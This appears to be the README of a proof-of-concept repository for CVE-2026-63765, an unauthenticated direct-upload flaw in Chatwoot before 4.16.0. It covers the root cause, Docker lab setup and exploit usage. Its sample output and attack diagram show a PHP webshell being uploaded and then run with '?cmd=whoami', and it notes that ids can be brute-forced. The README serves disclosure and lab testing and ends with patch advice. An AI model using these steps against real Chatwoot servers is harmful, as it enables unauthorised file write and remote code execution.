
Python PoC for CVE-2026-63765: exploits unauthenticated ActiveStorage direct upload in Chatwoot < 4.16.0 to write arbitrary files and attempt RCE, with a Docker lab.
Proof of Concept for an authentication bypass vulnerability in Chatwoot's ActiveStorage Direct Upload endpoint, leading to unauthenticated arbitrary blob creation and arbitrary file write — potentially enabling Remote Code Execution (RCE).
This repository is intended strictly for educational and authorized security research purposes.
The exploit code in this repository demonstrates a real vulnerability. You must not use it against any system you do not own or have explicit written permission to test. Unauthorized use of this code may violate computer fraud laws in your jurisdiction, including but not limited to the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent legislation worldwide.
The author(s) of this repository assume no liability and are not responsible for any misuse or damage caused by this material.
Use responsibly. Hack only what you own.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-63765 |
| Vendor | Chatwoot |
| Affected | Chatwoot < 4.16.0 |
| Fixed in | Chatwoot 4.16.0 |
| CVSS Score | 9.8 Critical |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Attack Vector | Network (unauthenticated, no credentials required) |
| Impact | Arbitrary file write on the server's storage backend; RCE if storage is served by a PHP-capable web server |
The vulnerable endpoint is:
POST /api/v1/accounts/:account_id/conversations/:conversation_id/direct_uploads
The controller responsible for this route inherits directly from Rails' ActiveStorage::DirectUploadsController. The authenticate_user! guard is absent from its ancestor chain, and the ensure_current_account before-action is short-circuited when current_user is nil.
This means any unauthenticated request can:
ActiveStorage::Blob record by posting blob metadata (filename, content type, byte size, MD5 checksum).storage/ path is served by a PHP-capable web server, the uploaded file can be executed, resulting in Remote Code Execution.The conversation display_id is a small sequential integer that can be reliably brute-forced within seconds.
.
├── poc.py # PoC exploit script
├── docker-compose.yaml # Vulnerable Chatwoot environment
├── .env # Environment variables for Chatwoot
└── README.md
This repository includes a ready-to-use Docker Compose environment running a vulnerable version of Chatwoot for local testing.
requests library (pip install requests)Prepare the database (run this only once on first setup):
docker compose run --rm rails bundle exec rails db:chatwoot_prepare
Then start all services in the background:
docker compose up -d
Chatwoot will be available at: http://localhost:3000
Allow 30–60 seconds for all services to fully initialize.
The exploit requires at least one existing conversation in the database. To create one, complete the following steps in the Chatwoot UI at http://localhost:3000:
account_id and conversation display_id values that the exploit will target.Why is this needed? The exploit brute-forces
account_idandconversation display_id. Without an existing conversation, the server returns no valid 200 responses and the exploit correctly reports the target as not vulnerable.
python poc.py http://localhost:3000
python poc.py http://localhost:3000 my_payload.php
[*] Target : http://localhost:3000
[*] Payload: shell.php | 52 bytes | md5b64=...
[*] Step 1: unauthenticated POST to .../direct_uploads (bypassing authentication)...
[+] VULNERABLE: A blob was created WITHOUT authorization (account_id=1, conversation display_id=1)
[+] signed_id: eyJfcmFpbHMiO...
[*] Step 2: Upload the file using the signed URL...
[+] Arbitrary file write executed (HTTP 204) — file shell.php (52 bytes) is written to the server's storage backend.
[*] Step 3: Verification + Attempt to Access the File (RCE Phase)...
[+] VERIFIED: the content is available via http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php
[=] CONCLUSION: Unauthenticated arbitrary file write confirmed (CVE-2026-63765).
[=] File paths: http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php
[=] RCE: if the PHP payload and storage are handled by a web server with
[=] Executing scripts—open the path you found by adding ?cmd=whoami
Attacker Chatwoot Server
│ │
│ POST /api/v1/accounts/1/ │
│ conversations/1/direct_uploads │
│ { blob metadata } │
│ ─────────────────────────────────► │ ← No authentication check!
│ │
│ ◄──────────────────────────────── { signed_id, PUT URL, headers }
│ │
│ PUT <signed_url> │
│ [PHP webshell bytes] │
│ ─────────────────────────────────► │ ← File written to storage
│ │
│ GET /rails/active_storage/blobs/ │
│ redirect/<signed_id>/shell.php │
│ ─────────────────────────────────► │
│ ◄──────────────────────────────── 200 OK (file confirmed on server)
│ │
│ GET /storage/shell.php?cmd=whoami │
│ ─────────────────────────────────► │ ← RCE (if PHP-enabled web server)
│ ◄──────────────────────────────── www-data
docker compose down
To also remove all volumes (wipe the database):
docker compose down -v
Update Chatwoot to version 4.16.0 or later. The fix adds proper authentication guards to the direct_uploads endpoint so that unauthenticated requests receive a 401 Unauthorized response.